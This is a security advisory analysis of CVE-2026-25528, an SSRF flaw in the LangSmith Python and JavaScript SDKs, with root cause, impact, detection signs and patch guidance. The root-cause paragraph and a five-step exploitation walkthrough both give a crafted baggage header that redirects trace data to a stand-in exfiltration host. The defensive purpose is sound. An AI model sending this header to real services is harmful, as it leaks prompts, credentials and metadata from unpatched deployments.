CVE-2026-25528: 
JavaScript vulnerability analysis and mitigation

CVE-2026-25528 is a Server-Side Request Forgery (SSRF) vulnerability in the LangSmith Client SDKs that allows unauthenticated attackers to exfiltrate sensitive trace data to attacker-controlled endpoints via malicious HTTP headers. It affects the Python langsmith SDK versions >= 0.4.10 and < 0.6.3, and the JavaScript/npm langsmith SDK versions >= 0.3.41 and < 0.4.6. The vulnerability was published on February 9, 2026, with patches released the same day. It carries a CVSS v3.1 base score of 5.8 (Medium) (Github Advisory, LangSmith SDK Advisory).

The root cause is improper input validation (CWE-918) in the distributed tracing header parsing logic of the LangSmith SDK. When using distributed tracing, the SDK parses incoming HTTP headers via RunTree.from_headers() (Python) or RunTree.fromHeaders() (TypeScript); the baggage header can contain replica configurations with api_url and api_key fields, which were accepted without any validation prior to the fix. An attacker can craft a malicious baggage header such as baggage: langsmith-replicas=[{"api_url":"https://attacker.com/exfil","project_name":"x"}], causing the SDK's post() and patch() methods to send full run data to the attacker-controlled URL upon completion of any traced operation. Applications are vulnerable if they use TracingMiddleware to propagate tracing context or call the header-parsing methods with untrusted HTTP input (Github Advisory, LangSmith SDK Advisory).

Successful exploitation results in data exfiltration of sensitive trace data — including LLM prompts, completions, API keys, and application metadata — to attacker-controlled servers. Additionally, the SSRF component allows attackers to make the vulnerable server issue requests to arbitrary URLs, potentially targeting internal services or cloud metadata endpoints not otherwise accessible from the internet. There is no integrity or availability impact, but the confidentiality breach can expose proprietary AI model interactions and credentials (Github Advisory).

No public proof-of-concept exploit code or in-the-wild exploitation has been reported as of the available data. The vulnerability requires no authentication, no user interaction, and has low attack complexity, making it straightforward to exploit against any internet-facing service using the affected SDK versions with distributed tracing enabled. The EPSS score is approximately 0.009% (0.000090), indicating a low current probability of exploitation in the wild. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities catalog (Github Advisory).

1. Reconnaissance: Identify services using the LangSmith Python SDK (versions >= 0.4.10, < 0.6.3) or JavaScript SDK (versions >= 0.3.41, < 0.4.6) with distributed tracing enabled (e.g., via TracingMiddleware or explicit RunTree.from_headers() calls).
2. Craft malicious baggage header: Prepare an HTTP request with a crafted baggage header containing an attacker-controlled api_url:

   baggage: langsmith-replicas=[{"api_url":"https://attacker.com/exfil","project_name":"x"}]

3. Send request to target: Deliver the crafted HTTP request to any endpoint of the vulnerable service that processes tracing headers (e.g., any API endpoint wrapped with TracingMiddleware).
4. SDK parses header: The service's SDK calls RunTree.from_headers() / RunTree.fromHeaders(), storing the attacker's URL as a replica endpoint without validation.
5. Receive exfiltrated data: When the traced operation completes, the SDK's post() and patch() methods transmit the full run data — including LLM inputs, outputs, and metadata — to the attacker's server at https://attacker.com/exfil (Github Advisory, LangSmith SDK Advisory).

• Network: Outbound HTTP POST/PATCH requests from the application server to unexpected external domains or IPs (not the legitimate LangSmith API at api.smith.langchain.com); unusual outbound traffic to attacker-controlled endpoints shortly after inbound API requests.
• Logs: Application or web server access logs showing inbound requests containing baggage headers with langsmith-replicas and external api_url values; SDK debug logs showing trace data being sent to non-LangSmith URLs.
• Application Behavior: Unexpected HTTP requests originating from the LangSmith SDK's tracing logic to domains not configured in the application's LangSmith settings.

Update to the patched versions immediately: Python SDK langsmith >= 0.6.3 (pip install langsmith>=0.6.3) and JavaScript SDK langsmith >= 0.4.6 (npm install langsmith@>=0.4.6). The fix filters incoming replica configurations to an allowlist of safe fields, removing api_url, api_key, and other credential fields from untrusted headers. If upgrading is not immediately possible, strip or validate the baggage header before passing it to from_headers() / fromHeaders(), or disable TracingMiddleware for endpoints exposed to untrusted traffic (Github Advisory, LangSmith SDK Advisory). IBM has also released iFixes for affected products including Cloud Pak for Business Automation and watsonx Orchestrate Developer Edition (IBM CP4BA Advisory, IBM watsonx Advisory).

The advisory was published by angus-langchain on behalf of the LangSmith SDK maintainers on February 9, 2026, with a same-day patch release indicating a coordinated disclosure process. IBM subsequently issued security bulletins addressing this CVE in multiple products including Cloud Pak for Business Automation, Business Automation Workflow, watsonx Orchestrate Developer Edition, and Engineering AI Hub in April–May 2026, reflecting the vulnerability's downstream impact on enterprise AI platforms (IBM CP4BA Advisory, IBM watsonx Advisory, IBM Engineering AI Hub).